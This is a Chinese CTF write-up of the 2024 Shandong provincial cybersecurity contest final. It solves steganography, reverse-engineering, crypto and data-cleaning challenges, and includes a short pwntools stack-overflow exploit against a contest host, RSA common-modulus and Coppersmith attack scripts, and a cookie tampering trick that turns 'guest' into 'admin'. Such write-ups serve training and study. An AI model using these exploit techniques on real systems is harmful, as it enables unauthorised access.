
2024九州信泰杯山东省第十一届网络安全技能大赛总决赛题解-WriteUp
前言
关注公众号【Real返璞归真】回复【山东省赛】获取总决赛题目下载地址。

大学这四年经历了疫情,比赛一直延期。现在毕业了,终于有机会参加一次山东省赛。
跟特等奖擦肩而过,最后一个小时被做数据分析题的师傅反超。
那道题我也做出来了,按照要求清洗出100条数据,但不知道为什么md5就是交不上。
(问了下做出来的朋友,题目出错了,题目要求换行符用LF,但实际上要使用CRLF才能通过)

Misc
Misc方向,除了0解的Bad_File没去看,其它题目基本都是老套路。
签到
下载压缩包,里面的txt就是Flag,这题还拿了个一血。
简单编码
题目描述是:60 = ?+ ?,脑洞题,虽然做出来了,但赛后才知道是ROT47+ROT13。
不过看这题解很多,就知道很简单,尝试工具,借助随波逐流工具一(两)把梭:

这个比较像flag格式,复制出来再解码一次:

ROT47+ROT13,当时光顾着做后面的题了,也没仔细关注这个60=?+?是什么意思。
ezpic
010editor打开拖到最下面找到flag的后半部分:

StegSolve打开,图片里藏了一个二维码:

扫码得到flag前半部分:

异常的流量
拖入WireShark发现全是DNS流量,没什么信息,信息都在域名上。
这种类似的题目很多,蓝桥杯是把压缩包的十六进制隐藏在了域名,这道题是隐藏了一堆01二进制,提取出来(可以用Lua脚本或Python):
from scapy.all import rdpcap, DNS, DNSQR
packets = rdpcap('shark.pcap')
for packet in packets:
if packet.haslayer(DNS) and packet.getlayer(DNS).qd is not None:
domain_name = packet.getlayer(DNSQR).qname.decode('utf-8')
print(domain_name.split('.')[0])

然后根据01画点阵图(代码同样可画rgb图)即可:
from PIL import Image
data = '''
...'''
data = data.replace("\n", "")
w = 40
h = 80
pic = Image.new("RGB", (w, h))
i = 0
for y in range(0, 80):
for x in range(0, 40):
if data[i] == '1':
pic.putpixel([x, y], (0, 0, 0))
else:
pic.putpixel([x, y], (255, 255, 255))
i = i + 1
pic.show()
pic.save("flag.png")
得到一个缺失3个定位角的二维码,但是二维码不是正方形的。(虽然可能调整后也能扫出来)
流量的发送域名和接收域名相同,并且数据大小为80*40,直接去掉一半的冗余数据即可:
data_arr = data.split('\n')
for i in range(len(data_arr)):
if i % 2 == 1:
print(data_arr[i], end='')
再次画图:

补全三个定位角并扫码得到flag:

Bad_File
0解,没去看这道题目。
Pwn
Pwn方向区分度不大,除了栈溢出ret2text签到题,还1道rust题只有1解。
签到题几十个解,rust只有1个解。
ezpwn
签到题,栈溢出后ret2shellcode。
ret2text是Pwn入门的第一课,不写分析过程了。
直接打远程即可,exp如下:
from pwn import *
p = remote("172.23.96.1", 9999)
p.sendline(b'a' * 0x28 + p64(0x400548))
p.interactive()
rust_but_sign_in
没了解过Rust逆向和Rust二进制漏洞,所以没去看这道题。
比赛结束前10分钟,中国海洋大学的孙英力师哥拿下了一血。
Reverse
Reverse方向区分度还可以,简单、中、难题目各1个。
简单题解的比较多,中等题个位数解,难题rust是0解。
exchange
字符串定位main函数:

代码只有几行,根据idx数组的下标对enc重新排序得到flag。
动态调试拿到idx和enc数组的数据,然后编写脚本如下:
idx = [0x00000000, 0x00000001, 0x00000002, 0x00000003, 0x00000004, 0x0000000D, 0x0000001C, 0x00000005, 0x00000014, 0x0000001D, 0x00000007, 0x0000001A, 0x00000022, 0x00000012, 0x0000000E, 0x00000008, 0x00000023, 0x00000018, 0x00000013, 0x0000000C, 0x00000017, 0x0000000F, 0x0000000A, 0x00000024, 0x0000001F, 0x00000006, 0x0000001B, 0x00000011, 0x00000019, 0x00000020, 0x00000016, 0x0000000B, 0x0000001E, 0x00000015, 0x00000021, 0x00000009, 0x00000010, 0x00000025]
enc = [0x00000066, 0x0000006C, 0x00000061, 0x00000067, 0x0000007B, 0x00000034, 0x00000037, 0x00000065, 0x00000062, 0x00000066, 0x00000030, 0x00000030, 0x00000038, 0x00000039, 0x00000039, 0x00000061, 0x00000033, 0x00000036, 0x00000061, 0x00000039, 0x00000035, 0x00000062, 0x00000063, 0x00000065, 0x00000030, 0x00000031, 0x00000035, 0x00000035, 0x00000065, 0x00000066, 0x00000065, 0x00000033, 0x00000032, 0x00000062, 0x00000038, 0x00000064, 0x00000061, 0x0000007D]
print(len(idx))
print(len(enc))
flag = list(range(38))
for i in range(38):
flag[idx[i]] = enc[i]
for x in flag:
print(chr(x), end='')
rand
做的时候感觉有点不可思议,结合题目描述“如果你能回到过去.....”就明白了。
拖入IDA分析,根据字符串定位main函数:

加密流程是将输入与key进行异或得到enc,动调发现每次key都变,猜测是和时间戳有关。
分析key的初始化函数:

这里是没有函数符号名的,由于程序不复杂也没有去恢复符号表,timestamp是根据动态调试结果推测出来的。
它会将当前时间戳作为随机数种子,生成38个数作为key。
只能爆破时间戳到出题人出题的时间才能拿到正确的flag。
先用python拿到1年前的时间戳:
from datetime import datetime
date = datetime(2023, 10, 27)
timestamp = int(date.timestamp())
print(timestamp)
# 1698336000
然后用cpp开始爆破(题目是cpp在windows编写的,尽量保持环境一致,否则相同的seed随机数可能生成的不一样):
#include <iostream>
using namespace std;
unsigned int enc[] = {
0x00000085, 0x000000DC, 0x00000063, 0x00000051, 0x00000014, 0x00000010, 0x00000047, 0x00000019,
0x00000096, 0x000000D8, 0x00000092, 0x0000008F, 0x000000C3, 0x00000077, 0x000000E8, 0x000000CD,
0x00000008, 0x00000072, 0x00000059, 0x00000094, 0x0000007D, 0x0000006B, 0x0000007C, 0x00000081,
0x00000017, 0x00000070, 0x000000AB, 0x00000093, 0x000000F5, 0x000000C7, 0x0000008F, 0x00000002,
0x000000CF, 0x000000E7, 0x0000003B, 0x000000A1, 0x00000097, 0x00000026
};
unsigned int seed = 1698336000;
int main() {
while(true) {
srand(seed);
char flag[] = "flag{";
bool is = true;
for (int i = 0; i < 5; i++) {
if (((rand() % 255) ^ enc[i]) != flag[i]) {
is = false;
break;
}
}
if (is) {
cout << seed << endl;
return 0;
}
seed += 1;
}
}
// 1724124694
cpp的速度比python还是快很多的,运行后秒出结果:1724124694。
然后写脚本直接异或回去即可:
#include <iostream>
using namespace std;
unsigned int enc[] = {
0x00000085, 0x000000DC, 0x00000063, 0x00000051, 0x00000014, 0x00000010, 0x00000047, 0x00000019,
0x00000096, 0x000000D8, 0x00000092, 0x0000008F, 0x000000C3, 0x00000077, 0x000000E8, 0x000000CD,
0x00000008, 0x00000072, 0x00000059, 0x00000094, 0x0000007D, 0x0000006B, 0x0000007C, 0x00000081,
0x00000017, 0x00000070, 0x000000AB, 0x00000093, 0x000000F5, 0x000000C7, 0x0000008F, 0x00000002,
0x000000CF, 0x000000E7, 0x0000003B, 0x000000A1, 0x00000097, 0x00000026
};
int main() {
srand(1724124694);
for(unsigned int i : enc) {
unsigned char result = (rand() % 255) ^ i;
cout << result;
}
return 0;
}
// flag{7639122488dd561e94332df2cb11cc94}
rust_master
没了解过Rust逆向,所以没去看这道题。
Crypto
古典密码
根据大括号位置判断,显然需要先栅栏,然后凯撒。
yzabliviiszwve{blbekmnehedtmltfxrhsxhn}
yetz{mablbltlbfiexvkrimhinssexzhhwenvd}
flag{thisisasimplecryptopuzzlegoodluck}
ezRSA
不擅长密码,但是运气比较好,这题是去年的原题改编。
刚好本地复现去年科来杯赛题时保存了sega和coppersmith脚本。
去年的题和这题一样也是分为2步,第2部都是已知p的高位部分。
今年第一步是共模攻击。第二步已知p的高位部分使用coppersmith。
先通过共模攻击拿到一半flag:
e1=80920036383271456884731855336908733674195076693352034421030167209168902043240854199888480335276421339155718769136889123734232796673751140527221307207186454156407008720310617805470953605756132383224775816963902169094699618940013911651166503289778627221433656915409322475116356353350793878043745984958915725409
e2=157337742803331381707081104614454139190613421935352344920505563873685572272242119454127715194230070940347536180008189854595839912376034798866664253771618394211437495972597736804857988149726925535444122269369965629542777858719379779679815711307098468031224114336467296001869919652928981505105646315343295989427
e3=151331577311347503650846083374010150290906101190738833999466725504697974581495397221270183896187584673115938288608973023886805812169979614967681838139083032975919276529255845404290715796754552934999621703591626085061263391854538063387400073347900311137920583193874365088731350266894302011814131654974587179897
n=51338292824921384374308264590499958387946036614411779883318535786370969601482494580681728663336755028116825350816416100820453720355911410549734249826843836189313922491268355913821168841949406825118920329426705711705902956786893606291260087119946695940831654741542964069506046490382369164425204539432893855733
c1=7148075358989846285612326649007789216851402092960404815359454478003554023208108349883355640642248538922028451907404797848317571212117289210187441418893611533486201563941544606393403051337184135949095977026090524113823052449209516894275200159337705771127304599909614996858029583203403908549208158026963739180
c2=4335905186349696070952095695051853331216663315249835435738962846976303760642191996244508865679564436777897150011370798875139018288313167929390573486759776910250901605455263936407782280439958696819918483187423257560402666877085156610075743550424083860953236635335194590102141504569701375592873975728026223579
c3=27263930231060685132398996882061585062008690477607569983739548802641704375569521897902696700434075189787034098033516863910388773463085919793680835197198451279918918308913436410104901826031716332322782356608204297641182728876358287859590282497410888271620074087218600802531724944075591372084167471246524545802
higt_p=10496606133250924650973408422392393213195790115730683500477279237006896932591095256261821093956361110796894672841404707169736391999119446226993558226731008
n2=126321430715320565623904437839115230261205837249354771464583438511377310531639176358316274491109984618835180768627424997725195207206583538100767801124581853089219806998538717189795440969518448523591407979173233041366830288720636642028104875845058885442061904337652654949102797542545797325381718940999480888577
c4=15529343657569780107610070210436681112536871252739837525139520316873436881058428771383013443820335831300897616382026635350080680326788599288570752965797436746605522190493656877557700681552496659429667861396285774594350142920136601270601560594260360319781439596125688864142583877800794877701048702096999102587
from gmpy2 import *
from Crypto.Util.number import *
def gongmo(n, c1, c2, e1, e2):
def egcd(a, b):
if b == 0:
return a, 0
else:
x, y = egcd(b, a % b)
return y, x - (a // b) * y
s = egcd(e1, e2)
s1 = s[0]
s2 = s[1]
# 求模反元素
if s1 < 0:
s1 = - s1
c1 = invert(c1, n)
elif s2 < 0:
s2 = - s2
c2 = invert(c2, n)
m = pow(c1, s1, n) * pow(c2, s2, n) % n
return m
result = gongmo(n, c1, c3, e1, e3)
print(long_to_bytes(result))
# flag{320aaf36e6da2a
剩余一半使用coppersmith:
n = n2
p_fake = higt_p
pbits = p_fake.nbits()
kbits = 128 # p失去的低位
pbar = p_fake & (2 ^ pbits - 2 ^ kbits)
print("upper %d bits (of %d bits) is given" % (pbits - kbits, pbits))
PR.<x> = PolynomialRing(Zmod(n))
f = x + pbar
x0 = f.small_roots(X=2 ^ kbits, beta=0.4)[0] # find root < 2^kbits with factor >= n^0.3
print(x0 + pbar)
p = 10496606133250924650973408422392393213195790115730683500477279237006896932591095256261821093956361110796894672841404976806452900489014635582796372762571837
q = n2 // p
e = 68
phi = (p-1) * (q-1)
d = gmpy2.invert(e // 4, phi)
m = pow(c4, d, n2)
m = gmpy2.iroot(m,4)[0]
print(long_to_bytes(m))
格格格格
0解,不擅长密码,没去看这道题目。
工业互联网
算是送分的吧,签到题基本都梭哈出来了,难题没人做。
Busss
工控流量分析,没接触过,不过解的很多。
肯定可以用工具梭:

old_machine
类似取证的题,给了系统ram镜像。题目带靶机,0解,没接触过工控安全就没去研究。
数据安全
比较离谱的题,吐槽的人最多的题,给你1w条数据让你写脚本处理,最后提交md5。
很多人可能或多或少的出现一些细节问题导致flag不对,要求考虑很全面。
建议最好改成靶机题目,下发数据处理后提交,靶机检查后反馈详细错误结果(毕竟安全实践主要靠调试)。
其实就是考察Coding能力,之前打ACM经常做这种题,适合放到ACM那边当模拟题考察。
(这是ACM出题人来客串了吗
数据脱敏
给你生成了一些随机的假数据:

让你对姓名、身份证和手机号按规定要求脱敏处理:

脚本如下所示:
data = open('./tmp', encoding='utf-8').readlines()
txt = ''
for i in range(10000):
p = data[i].split(',')
name = p[0]
card = p[1]
phone = p[2].replace('\n', '')
if len(name) == 2:
name = name[0] + '*'
elif len(name) == 3:
name = name[0] + '*' + name[2]
card = card[0:6] + '********' + card[-4:]
phone = phone[0:3] + '****' + phone[-4:]
if i != 9999:
txt = txt + name + ',' + card + ',' + phone + '\n'
else:
txt = txt + name + ',' + card + ',' + phone
with open('./ok.txt', mode='w+', encoding='utf-8') as f:
f.write(txt)
➜ simplicity md5sum ok.txt
76e2f5c0b24aae33b918d82414d5c76d ok.txt
题目有几个坑:
- 末尾不能有空行。
- 要求换行符为LF,必须在Linux运行代码生成或者用vscode修改换行符为LF。
- 原始数据最后一行没有换行符,其它行有换行符,很多人忽略了这一点,导致最后一行数据处理错误。
数据分析
题目给了了10000条数据,有1%的错误信息,要求筛选出不合法的姓名、性别、身份证号信息(100条)。
这题做出来了,确实也筛选出来了100条,末尾也没有换行符,换行符也使用了LF,但是提交flag就是不对。
因为这一道题目跟特等奖擦肩而过了,放一下我写的脚本,怀疑题目数据有问题。
如果有人发现脚本问题或者解决了问题可以后台私信我。
说一下思路:
- 姓名:直接正则匹配纯中文,姓名好像没有错误的。
- 性别:只能为 男 或 女,性别好像也没有错误的。
- 出生日期:必须指定格式,好像有1个人的月份不是合法日期。
- 身份证号:
- 根据倒数第二位奇偶性判断男女是否有误。
- 根据倒数第一位校验码判断前17位加权求和取余是否有误。
- 判断填写的出生日期和身份证号的出生日期是否一致。
import re
def is_chinese_string(text):
pattern = r'^[\u4e00-\u9fa5]+$'
return bool(re.match(pattern, text))
def is_valid_date(date):
date_ = date.split('-')
if len(date_) != 3:
return False
if len(date_[0]) != 4:
return False
if len(date_[1]) != 2:
return False
if len(date_[2]) != 2:
return False
pattern = r'^\d{4}-(0[1-9]|1[0-2])-(0[1-9]|[12][0-9]|3[01])$'
return bool(re.match(pattern, date))
m = {
0: '1',
1: '0',
2: 'X',
3: '9',
4: '8',
5: '7',
6: '6',
7: '5',
8: '4',
9: '3',
10: '2',
}
def check(_):
x = _.replace('\n', '').split(',')
# check name
if not is_chinese_string(x[0]):
return False
# check gender
if x[1] != '女' and x[1] != '男':
return False
# check date
date = x[2]
if not is_valid_date(x[2]):
return False
# check card1
code = x[3]
if x[2].replace('-', '') != code[6:14]:
return False
if int(code[-2]) % 2 == 1 and x[1] == '女' or int(code[-2]) % 2 == 0 and x[1] == '男':
return False
# check card2
k = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2]
sum = 0
for i in range(len(code) - 1):
sum += k[i] * int(code[i])
num = sum % 11
if m[num] != code[-1]:
return False
return True
txt = ''
data = open('./data.csv', encoding='utf-8').readlines()
print(len(data))
wrong = 0
for x in data:
x = x.replace('\n', '')
if not check(x):
wrong += 1
txt += x + '\n'
with open('./output.csv', mode = 'w+', encoding='utf-8') as f:
f.write(txt)
print(wrong)
# 记得最后手动删除末尾的换行符
Web
一个简单题,一个不像web的题,还有一个0解难题。
web1
解的很多,题目名忘了,题目描述是“前端不可信”。
进去玩赛车游戏,需要2min内通关。本来以为需要看js,结果玩了一把直接过了,又提示了一个php页面。
进去后说你是guest不能访问,找到cookie把guest改成admin即可得到flag。
web2
进去后是一个迷宫,但是每一步都是一个数字。
好像要根据它的规则进行加减运算,结果刚好是出口的数字。
没太看懂题目,刚开始只有1解,结束前30分钟突然7解。
估计路径需要通过一些算法来遍历得到。
web3
0解难题,没去看。